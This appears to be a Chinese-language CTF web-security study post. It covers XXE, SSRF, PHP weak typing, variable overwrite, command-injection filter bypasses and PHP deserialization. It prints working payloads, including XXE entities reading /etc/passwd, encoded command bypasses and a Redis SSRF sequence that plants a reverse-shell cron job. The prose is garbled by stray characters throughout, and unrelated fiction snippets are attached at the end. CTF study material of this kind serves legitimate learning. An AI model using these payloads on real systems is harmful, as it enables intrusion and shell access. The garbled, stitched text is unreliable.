CTF | Web安全 Part1:基礎(chǔ)知識

這應(yīng)該是一個系列的文章臼疫,主要講述的是CTF中的Web內(nèi)容砰琢。
當然,對于作者這種CTF中Loser履植,這個系列的文章與其說是總結(jié)梳理计雌,不如說是預(yù)習筆記
最后的一年半玫霎,不知道以后還能在這些沒用的東西上搞多久······

01 CTF Web介紹

CTF中的Web題型凿滤,就是給定一個Web網(wǎng)站传泊,選手要根據(jù)題目所提示的信息,找到網(wǎng)站上的flag字符串鸭巴。
做題的方法類似于滲透測試眷细,但通常不會是一個完整的滲透測試,而是用到滲透測試中的某一個或某幾個環(huán)節(jié)鹃祖∠担可能涉及信息搜集、各類漏洞發(fā)現(xiàn)與利用恬口、權(quán)限提升等等校读。
為了獲取flag,可能需要拿到管理員權(quán)限祖能,數(shù)據(jù)庫權(quán)限歉秫,甚至獲取網(wǎng)站所在服務(wù)器的權(quán)限。

一养铸、所需知識

  • 語言:PHP雁芙、Python、JavaScript...
  • 數(shù)據(jù)庫:MySQL钞螟、MSSQL...
  • 服務(wù)器:Apache兔甘、Nginx...
  • Web框架:ThinkPHP、Flask...
  • 語言特性:弱類型鳞滨、截斷...
  • 函數(shù)特性:is_numeric洞焙、strcmp、eregi...

1.HTTP抓包/改包

  • 首先要知道HTTP請求拯啦、響應(yīng)流程澡匪,詳細了解可以參考《HTTP權(quán)威指南》。(很厚的一本書褒链,大牛們愛用這本書裝B唁情,Web領(lǐng)域的“九陽真經(jīng)”,把這本書啃下來就是張無忌了碱蒙,可是大多數(shù)人包括我在內(nèi)總想練速成的“葵花寶典”)
  • 瀏覽器插件(Firefox):個人覺得 F12 + Hackbar就夠了荠瘪,而且最新的Firefox將 F12和Hackbar 集成到了一起,用起來很順手赛惩。
  • 工具:burpsuite神器哀墓,工具是好但是小白用起來可能需要一些時間去專門學習和熟悉。 下載地址喷兼、 FreeBuf教程篮绰、 i春秋教程

2.Web前端

  • HTML+CSS+JavaScript:前端三劍客,學這個很輕松季惯,很容易在信安的路上越走越偏吠各,然后變成前端開發(fā)者臀突。
  • 編碼:url編碼、html編碼贾漏、js編碼候学,可以參考這篇文章
  • Cookie纵散,緩存
  • 跨域問題梳码,CSP策略

3.Web后端

  • PHP:官方文檔
  • Python:廖雪峰Python教程、官方文檔
  • PHP框架:ThinkPHP伍掀、Yii
  • Python框架:Flask掰茶、Tornado、Django
  • Go框架:beego
  • Session

4.數(shù)據(jù)庫和服務(wù)器

  • 了解常見數(shù)據(jù)庫及區(qū)別:MySQL蜜笤、Oracle濒蒋、MongoDB
  • 數(shù)據(jù)庫操作:基本語句、文件讀取把兔、寫入沪伙、權(quán)限、dnslog
  • 服務(wù)器:配置主流服務(wù)器垛贤,Apache焰坪、Nginx
  • 緩存引擎:Redis、Memcached

5.Linux

  • shell
  • Lua
  • Docker

6.常見web漏洞

XSS 文件包含/上傳
SQL注入 反序列化
CSRF 未授權(quán)訪問
SSRF 目錄遍歷
命令執(zhí)行 業(yè)務(wù)邏輯漏洞
XEE

7.工具

  • sqlmap
  • Burpsuite
  • Hackbar
  • Proxy SwitchyOmega(瀏覽器代理插件)
  • AWVS (web漏洞掃描)
  • Kali(黑客的專屬系統(tǒng))

二聘惦、題目類型

1.筑基(入門題目)

  • 查看頁面源代碼,flag在注釋里
  • 查看HTTP請求/響應(yīng)包儒恋,flag在cookie善绎、響應(yīng)頭中
  • 備份文件(.bak,.swp诫尽,.swo)泄露
  • 根據(jù)提示修改請求頭(User-Agent禀酱、X-Forwarded-For)
  • JSFuck

(1)例子

HCTF2016 Web1:2099年的flag
根據(jù)提示:

only ios99 can get flag(Maybe you can easily get the flag in 2099)

猜測可能需要改造UA。
User-Agent修改為Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1牧嫉,這個需要對照Safari瀏覽器發(fā)出的UA進行修改剂跟。

ios99

(2)文件泄露總結(jié)

關(guān)于泄露的好文章

  • 備份文件:.index.php.swp、.index.php.swo酣藻、.index.php.bak曹洽、.index.php~

  • 源碼壓縮包:www.zip、root.zip辽剧、web.zip

  • git / svn泄露:
    git泄露:www.xxx.com/.git/config送淆,之后使用工具GitHack可以獲取源碼 python GitHack.py URL/.git
    svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper獲取源碼

  • 其它文件泄露:
    .idea目錄泄露:(使用了IntelliJ IDEA的工程怕轿,可泄露目錄結(jié)構(gòu))偷崩,詳情可看這里
    .DS_Store:www.xxx.com/.ds_store辟拷,工具ds_store_exp
    .pyc文件:(python編譯后的字節(jié)碼文件)

(3)請求修改、重放

這里主要用好Burpsuite阐斜、瀏覽器F12就夠了衫冻,F(xiàn)irefox上的Hackbar也很方便,工具再多也沒用谒出。

(4)JSFuck

經(jīng)過JSFuck編碼后的JavaScript代碼隅俘,要查看其運行結(jié)果非常簡單,直接在頁面中進行調(diào)用即可到推,或者在Chrome瀏覽器的開發(fā)者工具中的Console中執(zhí)行即可考赛。

JSFuck.jpg

2.結(jié)丹(常規(guī)題目)

  • 一個存在漏洞的網(wǎng)站
  • 拿到數(shù)據(jù)庫上的flag(SQL注入)
  • 拿到服務(wù)器上的flag(命令執(zhí)行、文件上傳)
  • 拿到管理員的cookie莉测,flag在cookie里(XXE)
  • 其它的一些漏洞利用(條件競爭颜骤、SSRF捣卤、XXE)

(1)SQL注入

實驗吧:
簡單的sql注入
簡單的sql注入2
簡單的sql注入3

(2)XXE

后端獲取一個xml文檔

<? php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

讀取本地文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

SSRF

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY url SYSTEM "http://zzm.cat:8080">]>
<root>&url;</root>

XEE練習 + Writeup

3.元嬰(困難題目)

  • 漏洞綜合利用(e.g. 注入+SSRF+反序列化)
  • 少見的姿勢(e.g. 字符命令執(zhí)行)
  • 少見的語言(Ruby哥捕、Perl)

例子:

HITCON2017:
babyfirst-revenge
babyfirst-revenge-v2

02 CTF Web技巧

一牧抽、PHP弱類型

弱等于號 " == "

false==""==0==NULL //true
"admin1"==0 //true
"1admin"==1 //true
"0e123456"=="0e4456789" //true
"0x1e240"=="123456" //true
0=="0e4456789" //true
[false]==[0] //true
"0x1e240"=="123456"==123456 //true

例題

<?php 
$flag = "xxxx";
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b']))
{
  echo "Flag: ".$flag;
}

可以看一下這篇文章,從中可以得知所有"0e"加純數(shù)字的字符串均相互弱等于遥赚,及提交a=s878926199ab=s155964671a即可

md5("s878926199a") =>
  "0e545993274517709034328855841020"
md5("s155964671a") =>
  "0e342768416822451524974117254469"

二扬舒、PHP函數(shù)

類型轉(zhuǎn)換

md5(['a'])===md5(['b']) //對數(shù)組MD5會返回NULL
strcmp([], 'a')===NULL //PHP>5.3版本數(shù)組和字符串比較返回NULL
in_array('abc', [0])===true //'abc'會被強制類型轉(zhuǎn)換
is_numeric('0e1')===true //科學計數(shù)法
in_array('abc', [0,1,2])===true //比較時會使用若等于('abc'==0)

正則表達式(ereg/eregi)

  1. 字符串對比解析,當ereg讀取字符串string時凫佛,%00后面的字符串不會被解析讲坎。
    這里 a=abcd%001234,可繞過
<?php
if (ereg("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
  echo 'You password must be alphabet';
}
?>
  1. 如果傳入數(shù)組愧薛,ereg返回NULL

三晨炕、變量覆蓋

extract()

extract()函數(shù)從數(shù)組中把變量導(dǎo)入到當前的符號表中。
對于數(shù)組中的每個元素厚满,鍵名用于變量名府瞄,鍵值用于變量值。
例如傳入auth=1,則會打印出"private!"

<?php
  $auth='0';
  // 這里可以覆蓋變量$auth的變量值
  extract($_GET);
  if($auth == 1){
    echo "private!";
  } else{
    echo "public!";
  }
?>

parse_str()

parse_str()的作用是解析字符串遵馆,并注冊成變量鲸郊。與parse_str()類似的函數(shù)還有 mb_parse_str(),parse_str() 將字符串解析成多個變量货邓,如果參數(shù) str 是 URL 傳遞入的查詢字符串(query string)秆撮,則將它解析為變量并設(shè)置到當前作用域。

<?php
  //var.php?var=new
  $var='init';
  parse_str($_SERVER['QUERY_STRING']);
  // $var 會變成 new
  echo $var;
?>

$$

$$會把變量本身的 key 當做名字换况,value 當做變量值

<?php
  $_CONFIG['extraSecure'] = true;
  
  // http://127.0.0.1/index.php?_CONFIG=123
  foreach(array('_GET', '_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 這個函數(shù)會把 $_CONFIG 變量銷毀
      unset($$key);
    }
  }
  if ($_CONFIG['extraSecure'] == false){
    echo 'flag{****}';
  }
?>

練習

實驗吧 天網(wǎng)管理系統(tǒng)

四职辨、命令執(zhí)行

PHP中執(zhí)行系統(tǒng)命令的函數(shù)

system:     system("whoami");
eval:       eval("phpinfo();");
assert:     assert("phpinfo()");
exec:       echo exec("whoami");
passthru:   passthru("whoami");
shell_exec: echo shell_exec("whoami");

Bypass空格過濾

<符號
cat<flag
$IFS符號
cat${IFS}flag
cat$IFS"flag"
制表符
cat flag

命令分隔符

| 符號

amber@MAC:~/$    echo 1|echo 2
2

; 符號

amber@MAC:~/$    echo 1;echo 2
1
2

&&符號

amber@MAC:~/$    echo 1 && echo 2
1
2

利用$(),``執(zhí)行命令

$()戈二,``會將字符串當做命令執(zhí)行舒裤,并返回結(jié)果

amber@MAC:~/$    echo $(whoami)
amber
amber@MAC:~/$    echo `whoami`
amber

結(jié)合printf使用,可以繞過一些限制

amber@MAC:~/$    $(printf$IFS"\167\150\141\155\151")
amber
amber@MAC:~/$    $(printf$IFS"\x77\x68\x6f\x6d\x69")
amber

練習

http://web.jarvisoj.com:32798/

五觉吭、SSRF技巧

SSRF介紹

服務(wù)器獲取用戶傳入的url腾供,并訪問,如果不加過濾鲜滩,可能導(dǎo)致內(nèi)網(wǎng)探測伴鳖、文件讀取、攻擊內(nèi)網(wǎng)服務(wù)等

<?php
  // e.g. url=http://10.10.10.1
  // e.g. url=file://etc/passwd
  // e.g. url=dict://127.0.0.1:80
  $ch = curl_init($_GET['url']);
  echo curl_exec($ch);
  curl_close($ch);
?>

常出現(xiàn)在離線下載徙硅,站長工具榜聂,遠程頭像上傳等功能中

SSRF攻擊

SSRF文件讀取,內(nèi)網(wǎng)探測

file:///etc/passwd
dict://127.0.0.1:3306

SSRF攻擊內(nèi)網(wǎng)服務(wù)(redis為例)
修改dbfilename嗓蘑,將反彈shell的命令寫入定時任務(wù)

set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ 127.0.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

SSRF防御

過濾傳入url的host(有沒有問題须肆?)

<?php
    function isLocal($ip){
        $long=ip2long($ip);
        $data=array(24=>'10.255.255.255',20=>'172.31.255.255',16=>'192.168.255.255');
        foreach ($data as $k => $v) {
            if ($long >> $k === ip2long($v)>>$k) {
                return true;
            }
        }
    }
    $url = $_GET['url'];
    $host = parse_url($url)['host'];
    if (isLocal(gethostbyname($host))) die();
    $ch = curl_init($url);
    echo curl_exec($ch);
    cuel_close($ch);
?>

parse_url和curl解析差異

SSRF.png

IP雙重綁定:如果同一個域名綁定了兩個IP,那么PHP中的gethostname會隨機返回一個桩皿。
但是curl在訪問這種域名的時候休吠,由于綁定的是兩個IP,curl會嘗試訪問每一個IP业簿,最終返回有效的那個

六、反序列化

介紹

序列化

數(shù)組序列化

原數(shù)組:['a'=>'str', 'b'=>1, 'c'=>false]
序列化后:a:3:{s:1:"a";s:3:"str";s:1:"b";i:1;s:1:"b";i:1;s:1:"c";b:0;}

對象序列化

對象序列化

對于PHP中的類C阳懂,屬性data="abc"會被序列化為不同的形式(%00代表空字符)
Public屬性:s:4:"data";s:3:"abc"
Private屬性:s:7"%00C%00data";s:3:"abc"
Protected屬性:s:7"%00*%00data";s:3:"abc"

其它數(shù)據(jù)類型

String(字符串):s
Integer(整型):i
Bool(Bool型):b
NULL:N
Array(數(shù)組):a
Object(對象):o

魔術(shù)方法

__construct方法在對象誕生時調(diào)用梅尤,一般用來為成員屬性賦初值

function __construct($name="amy", $sex="male", $age=20)
{
  $this->name=$name;
  $this->sex=$sex;
  $this->age=$age;
}

__destruct方法在對象銷毀時調(diào)用

class C{
  public function __destruct() {
    echo "The object is destructed.";
  }
}

__toString方法在打印對象時調(diào)用

class C{
  public function __toString()
  {
    return "This is C";
  }
}

__sleep方法在對象序列化時調(diào)用

class C{
  public function __sleep() {
    echo "serialized";
  }
}
$c = new C;
serialize($c);

__wakeup方法在對象反序列化時調(diào)用

class C{
  public function __wakeup() {
    echo "unserialized";
  }
}
unserialize('0:1:"c":0:{}');

__call方法在試圖調(diào)用一個無法訪問(不存在、無權(quán)限)的方法時調(diào)用

class C{
  public function __call($name, $arguments) {
    echo "called";
  }
}
$c = new C;
$c->a();

PHP中可以利用的內(nèi)置類

SoapClient(__call方法調(diào)用時導(dǎo)致SSRF)

$a = new SoapClient(null,array('uri'=>'http://xxx.cat8080',
'location'=>'http://xxx.cat:8080'));
$b = serialize($a);
$c = unserialize($b);
$c->a();

Directorylterator(__construct方法調(diào)用時導(dǎo)致列目錄)

$c = new DirectoryIterator(".");
foreach($c as $cc) {
  echo $cc,"</br>";
}

練習

http://web.jarvisoj.com:32784/
Writeup

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末岩调,一起剝皮案震驚了整個濱河市巷燥,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌号枕,老刑警劉巖缰揪,帶你破解...
    沈念sama閱讀 207,113評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡钝腺,警方通過查閱死者的電腦和手機抛姑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評論 2 381
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來艳狐,“玉大人定硝,你說我怎么就攤上這事『聊浚” “怎么了蔬啡?”我有些...
    開封第一講書人閱讀 153,340評論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長镀虐。 經(jīng)常有香客問我箱蟆,道長,這世上最難降的妖魔是什么刮便? 我笑而不...
    開封第一講書人閱讀 55,449評論 1 279
  • 正文 為了忘掉前任空猜,我火速辦了婚禮,結(jié)果婚禮上诺核,老公的妹妹穿的比我還像新娘抄肖。我一直安慰自己,他們只是感情好窖杀,可當我...
    茶點故事閱讀 64,445評論 5 374
  • 文/花漫 我一把揭開白布漓摩。 她就那樣靜靜地躺著,像睡著了一般入客。 火紅的嫁衣襯著肌膚如雪管毙。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,166評論 1 284
  • 那天桌硫,我揣著相機與錄音夭咬,去河邊找鬼。 笑死铆隘,一個胖子當著我的面吹牛卓舵,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播膀钠,決...
    沈念sama閱讀 38,442評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼掏湾,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了肿嘲?” 一聲冷哼從身側(cè)響起融击,我...
    開封第一講書人閱讀 37,105評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎雳窟,沒想到半個月后尊浪,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,601評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,066評論 2 325
  • 正文 我和宋清朗相戀三年拇涤,在試婚紗的時候發(fā)現(xiàn)自己被綠了捣作。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,161評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡工育,死狀恐怖虾宇,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情如绸,我是刑警寧澤嘱朽,帶...
    沈念sama閱讀 33,792評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站怔接,受9級特大地震影響搪泳,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜扼脐,卻給世界環(huán)境...
    茶點故事閱讀 39,351評論 3 307
  • 文/蒙蒙 一岸军、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧瓦侮,春花似錦艰赞、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至罚攀,卻和暖如春党觅,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背斋泄。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評論 1 261
  • 我被黑心中介騙來泰國打工杯瞻, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人炫掐。 一個月前我還...
    沈念sama閱讀 45,618評論 2 355
  • 正文 我出身青樓魁莉,卻偏偏與公主長得像,于是被迫代替她去往敵國和親募胃。 傳聞我的和親對象是個殘疾皇子沛厨,可洞房花燭夜當晚...
    茶點故事閱讀 42,916評論 2 344

推薦閱讀更多精彩內(nèi)容

  • 2018/3/16 17:34:51 WEB題 1.簽到題 題目:key在哪里? writeup:查看源代碼即可獲...
    Sec小玖閱讀 22,372評論 1 11
  • WEB2 看源代碼得flag 文件上傳測試 找一張圖片上傳摔认,截包改后綴名為.php得flag 計算題 F12修改輸...
    a2dd56f6ad89閱讀 18,492評論 0 2
  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯誤的地方希望大家多多指出,多謝多謝 WEB2 點...
    yangc隨想閱讀 54,236評論 11 16
  • 2017年12月9號 晴 星期六 安靜是渴醒來的宅粥,想著這會估計五六點了参袱,爬起身子查看手機,兩點三十三分。...
    時鈅閱讀 340評論 0 5
  • 當我曾經(jīng)也是北漂一枚的時候抹蚀,我天天在想剿牺,王侯將相寧有種乎,豪宅豪車難道無我乎环壤! 我不信晒来!我真的不信! ...
    王興龍聚賢興邦閱讀 288評論 2 3